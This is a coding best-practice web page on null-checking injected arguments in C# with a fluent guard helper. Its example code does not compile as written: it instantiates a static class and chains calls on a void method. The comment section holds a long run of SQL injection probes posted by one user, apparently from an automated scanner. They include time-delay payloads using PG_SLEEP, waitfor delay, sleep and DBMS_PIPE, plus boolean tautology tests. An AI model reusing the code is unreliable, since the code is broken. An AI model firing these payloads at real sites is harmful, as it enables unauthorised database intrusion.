BP282: Check injected arguments for null using a helper method that supports fluent syntax

It is a best practice to check injected arguments for null using a helper method that supports fluent syntax. This practice helps to prevent null reference exceptions and improves the readability of the code. When a null argument is passed to a method, it can cause unexpected behavior and can be difficult to debug. By checking for null at the beginning of the method, the code can gracefully handle the situation and provide a clear error message to the user.

One way to implement this best practice is to create a static class with a method that takes an argument and throws an exception if it is null. This method can be called at the beginning of any method that takes an argument to ensure that it is not null. The method can also be designed to support fluent syntax, which makes the code more readable and easier to understand. For example:

public static class Guard
{
    public static Guard Against => new Guard();
 
    public void Null(object argument, string argumentName)
    {
        if (argument == null)
        {
            throw new ArgumentNullException(argumentName);
        }
    }
}
 
public class MyClass
{
    public void MyMethod(string argument1, object argument2)
    {
        Guard.Against.Null(argument1, nameof(argument1))
                   .Null(argument2, nameof(argument2));
 
        // Method logic here
    }
}

In the above example, the Guard class has a Null method that takes an argument and an argument name. If the argument is null, it throws an ArgumentNullException with the argument name. The MyClass class has a MyMethod that takes two arguments. The Guard.Against.Null method is called with each argument to ensure that they are not null. This makes the code more readable and easier to understand.

Comments

No Comments Yet.
Be the first to tell us what you think.

Download Better Coder application to your phone and get unlimited access to the collection of enterprise best practices.

Get it on Google Play

Chat

Oh, the operator is not available. Leave us your comments. We will answer all your questions as soon as possible.

Comments

RiceHawk18
e
RiceHawk18
@@xeDO0
RiceHawk18
1'"
RiceHawk18
e'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
RiceHawk18
L7oVYP7m')) OR 312=(SELECT 312 FROM PG_SLEEP(15))--
RiceHawk18
A1v25QPv') OR 393=(SELECT 393 FROM PG_SLEEP(15))--
RiceHawk18
kxT46vOm' OR 479=(SELECT 479 FROM PG_SLEEP(15))--
RiceHawk18
VTgcz37T'; waitfor delay '0:0:15' --
RiceHawk18
1 waitfor delay '0:0:15' --
RiceHawk18
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
RiceHawk18
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
RiceHawk18
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
RiceHawk18
if(now()=sysdate(),sleep(15),0)
RiceHawk18
-1" OR 3+906-906-1=0+0+0+1 --
RiceHawk18
-1" OR 2+906-906-1=0+0+0+1 --
RiceHawk18
-1' OR 3+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 2+316-316-1=0+0+0+1 or '8BoDIAd6'='
RiceHawk18
-1' OR 3+137-137-1=0+0+0+1 --
RiceHawk18
-1' OR 2+137-137-1=0+0+0+1 --
RiceHawk18
-1 OR 3+877-877-1=0+0+0+1
RiceHawk18
-1 OR 2+877-877-1=0+0+0+1
RiceHawk18
-1 OR 3+418-418-1=0+0+0+1 --
RiceHawk18
-1 OR 2+418-418-1=0+0+0+1 --
RiceHawk18
e
RiceHawk18
e